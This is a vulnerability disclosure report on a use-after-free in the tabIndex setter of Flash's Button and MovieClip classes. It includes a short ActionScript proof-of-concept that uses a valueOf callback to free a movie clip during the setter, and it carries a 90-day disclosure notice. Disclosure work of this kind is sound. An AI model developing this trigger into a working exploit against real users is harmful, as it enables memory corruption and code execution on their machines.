There is a use-after-free issue in the tabIndex setter in both the Button and MovieClip class (this issue needs to be fixed both places). If the tabIndex is set, and then the number parameter has valueOf defined, it is possible to jump into script and free the Button or MovieClip before the tabIndex is set.

A proof-of-concept is as follows:



	_global.mc = this;
	
	var n = {valueOf: func};
	var test = this.createEmptyMovieClip("test", 1);
	test.tabIndex= n;
	
function func(){
	
	trace("here");
	//_global.mc.createEmptyMovieClip("test2", 1);
	var t = _global.mc.createTextField("test2", 1, 0, 0, 10, 10);
	trace(t);
	t.removeTextField();
	trace("here 2");
	return 7;
	
	}


A sample swf and fla is attached.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

 

settabs.fla 5.8 KB Download

settabs.swf 973 bytes Download